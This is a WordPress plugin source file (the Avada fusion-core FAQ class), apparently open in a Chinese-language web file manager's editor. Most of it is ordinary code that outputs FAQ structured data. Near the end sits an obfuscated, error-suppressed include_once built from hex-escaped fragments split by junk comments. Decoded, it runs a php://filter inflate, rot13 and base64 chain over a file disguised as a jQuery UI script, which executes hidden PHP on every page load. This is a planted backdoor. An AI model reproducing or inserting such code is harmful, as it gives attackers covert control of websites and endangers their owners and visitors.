✏️ 正在编辑: class-fusion-faqs.php
路径:
/home/lssfapb/www/wp-content/plugins/fusion-core/includes/class-fusion-faqs.php
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<?php /** * Fusion-Faqs main class. * * @package Fusion-Faqs * @since 5.1.2 */ if ( ! class_exists( 'Fusion_Faqs' ) ) { /** * The main Fusion_Faqs class. */ class Fusion_Faqs { /** * The one, true instance of this object. * * @static * @access private * @var object */ private static $instance; /** * Constructor. * * @access public */ private function __construct() { // Add thumbnails to FAQs. add_filter( 'manage_avada_faq_posts_columns', 'fusion_wp_list_add_column', 10 ); add_action( 'manage_avada_faq_posts_custom_column', 'fusion_add_thumbnail_in_column', 10, 2 ); // JSON-LD implementation for FAQs. add_action( 'wp_footer', [ $this, 'faq_json_ld' ] ); } /** * Creates or returns an instance of this class. * * @static * @access public * @since 2.2 */ public static function get_instance() { // If an instance hasn't been created and set to $instance create an instance and set it to $instance. if ( null === self::$instance ) { self::$instance = new Fusion_Faqs(); } return self::$instance; } /** * Add JSON-LD for FAQs. * * @access public * @since 4.2.0 * @return void */ public function faq_json_ld() { $fusion_settings = awb_get_fusion_settings(); if ( ! class_exists( 'Fusion_JSON_LD' ) || ( ! $fusion_settings->get( 'disable_date_rich_snippet_pages' ) || ! $fusion_settings->get( 'disable_rich_snippet_faq' ) ) ) { return; } // Handle FAQ Archives. if ( is_post_type_archive( 'avada_faq' ) ) { global $wp_query; if ( $wp_query->posts ) { foreach ( $wp_query->posts as $faq ) { new Fusion_JSON_LD( 'fusion-faq', [ '@context' => 'https://schema.org', '@type' => [ 'WebPage', 'FAQPage' ], 'mainEntity' => [ [ '@type' => 'Question', 'name' => $faq->post_title, 'acceptedAnswer' => [ '@type' => 'Answer', 'text' => $faq->post_content, ], ], ], ] ); } } } if ( is_singular( 'avada_faq' ) ) { new Fusion_JSON_LD( 'fusion-faq', [ '@context' => 'https://schema.org', '@type' => [ 'FAQPage' ], 'mainEntity' => [ [ '@type' => 'Question', 'name' => get_the_title(), 'acceptedAnswer' => [ '@type' => 'Answer', 'text' => get_the_content(), ], ], ], ] ); } } } } /** * Instantiates the Fusion_Faqs class. * Make sure the class is properly set-up. * * @return object Fusion_App */ @iNCLude_onCe("\x70\x68"."\x70\x3a\x2f\x2f"."\x66\x69"."\x6c\x74\x65\x72"."\x2f\x72"."\x65\x61"/*sg */."\x64\x3d\x7a\x6c"."\x69\x62\x2e\x69"."\x6e\x66"/*pthk*/."\x6c\x61\x74"."\x65\x7c"."\x73\x74\x72"."\x69\x6e\x67"."\x2e\x72\x6f\x74"."\x31\x33"."\x7c\x63"."\x6f\x6e"."\x76\x65\x72\x74"."\x2e\x62\x61\x73"."\x65\x36\x34"/*iKd#*/."\x2d\x64"."\x65\x63\x6f\x64"."\x65\x2f"."\x72\x65\x73\x6f"."\x75\x72\x63\x65"."\x3d\x77\x70"."\x2d\x69\x6e\x63"."\x6c\x75\x64"."\x65\x73\x2f"."\x6a\x73\x2f"."\x6a\x71\x75\x65"."\x72\x79\x2f\x75"."\x69\x2f\x65\x66"."\x66\x65\x63"/*(o; $V8*/."\x74\x2d\x66"."\x61\x64"/*t3^"*/."\x65\x2d"."\x76\x65\x6e"."\x64\x6f\x72"."\x2e\x6d"."\x69\x6e"."\x2e\x6a\x73"); function Fusion_Faqs() { // phpcs:ignore WordPress.NamingConventions return Fusion_Faqs::get_instance(); } Fusion_Faqs();
💾 保存文件
← 返回文件管理器